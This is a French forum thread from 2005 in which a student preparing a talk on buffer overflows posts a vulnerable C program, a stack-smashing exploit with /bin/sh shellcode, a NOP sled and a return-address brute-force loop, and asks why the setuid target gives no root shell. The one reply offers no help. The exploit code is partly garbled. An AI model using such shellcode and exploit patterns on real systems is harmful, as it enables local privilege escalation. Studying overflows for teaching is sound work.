01net    Web


Actuellement en ligne : 119 Utilisateurs dont 5 dans Programmation et développement >S'inscrire      >S'identifier      >Recherche      >Aide  
modéré par A.Ouloube, Beno@  
01net > Forum de 01net > Programmation et développement > C/C++
> Projet Buffer overflow et C
Passionné(e) d'internet, de logiciels, de forums ? 01net recrute...
Auteur
Message
 
<     1       >
angelfire08081
  
   
      ?   @     Posté le 04/02/2005 16:10:00  
Voter pour ce message
en fait mon probleme le voici :



j'ai un exposé a faire sur le buffer oveflow mais voila j'ai recupéré un code d'un bof mais je n'ai pas accés à root, je pense que c'est le bit suid, mais je l'ai bien mis sur le fichier!!!!

Alors es ce que c'est la shellcode ou autre chose qui ne me donne pas les accées root?



voici l'exploit



vuln1:

int main(int argc, char **argv)

{

char buffer[100];

if (argc > 1)

strcpy(buffer, argv[1]);

return (0);

}



exploit1:

#include <stdlib.h>

#define BUFFER_LEN 100

#define OVERFLOW 28



int main()

{

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"

"\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"

"\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40"

"\xcd\x80\xe8\xdc\xff\xff\xff"

"/bin/sh";

char newret[] = "\x00\xf1\xff\xbf"; // adresse de depart

char diff[] = "\xff\xff\xff\xbf"; // adresse limite

char buffer[512];

int i;

int j;

int loop;

int pid;

int error;



for (loop = 0; strcmp(diff, newret) > 0; loop++)

{

error = 0;



newret[0] += 1;

if (newret[0] == '\x00')

{

newret[1] += 1;

newret[0] = '\x00';

continue;

}



for (i = 0; i < ((BUFFER_LEN+OVERFLOW)-(2*strlen(newret)+strlen(shellcode))); i++)

buffer = '\x90';



for (j = 0; shellcode[j]; j++, i++)

buffer = shellcode[j];



for (j = 0; newret[j]; j++, i++)

buffer = newret[j];



for (j = 0; newret[j]; j++, i++)

buffer = newret[j];



pid = fork();

if (pid == -1)

{

printf("#@! Fork() Error.\n");

exit(0);

}

else if (pid == 0)

{

execl("/home/user/vuln1", "vuln1", buffer, NULL);

exit(0);

}

else

waitpid(pid, &error, 0);



if (error == 0)

{

return (0);

}

a l"execution j'ai :



sh-2.05a$ whoami

user

sh-2.05a$

:-(



comment faire please!!!!!!! :-(





:-(

help









icare_olivier
  arriere, band de newbies ^^
  :-)
      ?   @     Posté le 06/02/2005 01:14:44  
Voter pour ce message
ma réponse la plus pertinente sera : "heuuuuu..."

alors la... :heink:
<     1       >

01net > Forum de 01net > Programmation et développement > C/C++
> Projet Buffer overflow et C

Aller à :

Page générée en : 0.083s - X2board 2.2

Nous contacter | Charte de confiance | Voir notice légale

Tous droits réservés © 1999 - 2008 Groupe Tests - 01net.


Sites du réseau 01net Network : 01net - 01men - Rmc.fr - Bfmtv.fr - Radiobfm.com - TousLesPodcasts - Micro Achat

Antivirus
La protection familiale de référence contre les virus, les logiciels espions et le vos d'informations.
Auto
Cote : envie de revendre votre auto? Calculez gratuitement la valeur de votre voiture !